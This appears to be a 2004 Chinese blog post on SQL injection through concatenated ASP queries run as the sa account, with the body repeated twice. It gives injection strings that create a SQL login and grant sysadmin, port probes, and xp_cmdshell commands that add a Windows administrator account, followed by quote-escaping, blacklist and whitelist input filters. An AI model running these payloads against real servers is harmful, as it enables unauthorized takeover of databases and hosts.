select .. where name = "+ Request.QueryString["name"]的后果?
2004-07-01 15:52
483 查看
很多人用数据库发布的时候都用的sa,再加上"select .. where name = "+ Request.QueryString["name"]这样的操作,我们来看看结果是怎么样?!
[篇幅问题,具体命令自己查查]
把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组
用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..
不可以呢?
向下看
象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'
这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号
后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function
方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
[篇幅问题,具体命令自己查查]
把Request.QueryString["name"]的值改为:
1. ;exec master.dbo.sp_addlogin Test, Test, master-- // 建立用户
2. ;EXEC master.dbo.sp_addsrvrolemember 'Test', 'sysadmin'-- // 将用户test提升为管理员组
用 telnet www.***.com 1433 查看是否可以远程登陆,如果可以嘿嘿..
不可以呢?
向下看
象上面编程的人安全意识都不高,看看他的机子有那些端口开着
telnet www.***.com 1433
telnet www.***.com 3389
telnet www.***.com 21
telnet www.***.com 139
telnet www.***.com 445
大多数都开着,下面我们就假设都开了!
运行下面的存储过程在他的sql查询分析器里,一条条运行
exec master.dbo.xp_cmdshell 'net user TEST Test /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators Test /add'
这样你就在他系统里建立了一个系统账号,TEST 上面建立的是sql帐号
后面想干什么我就不细说,有问我就答
防止攻击:
方法一——过滤单引号
function escape(input)
input=replace(input,"'","''")
escape=input
end function
方法二——拒绝已知的错误输入
function validate_string(input)
known_bad=array("select","insert","update","delete","drop","—","'")
validate_string=true
for i=lbound(known_bad) to ubound(known_bad)
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false
exit function
end if
next
end function
方法三——只允许正确的输入
function validatepassword(input)
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function
http://community.csdn.net/Expert/topic/3129/3129144.xml?temp=.5659296
相关文章推荐
- 创建可编辑的xml文档(之四) 删除、改名、插入操作 YAOTIEBING [翻译]
- 如何给DataGrid添加两个的题头分类显示 cuike519 [原作]
- Data Binding: A godsend or the devil in disguise?
- UEC
- jbuilder8开发环境使用小结
- 什么是Webquest?
- 关于如何让 JBuilderX 使用中文字体
- Event ID 10010 - The server did not register with DCOM within the required timeout
- The Byrds - Turn! Turn! Turn!
- ClearQuest技巧集(二)
- ClearQuest技巧集(一)
- Build Secure Web Services With SOAP Headers and Extensions
- Request Header (no cache)
- JBuilder整合的cvs客户端真是太弱了
- 做web应用会用到的UI控件
- QuicklyBuildModel/User.cs[快速类建模型用户类代码]
- 浅谈如何有效建立权限管理体系(原创)
- 浅谈如何利用PB实现动态添加菜单(原创)
- 浅谈如何利用PB实现图片透明叠加(改编)
- 浅谈如何利用PB实现树型列表动态半透明提示(原创)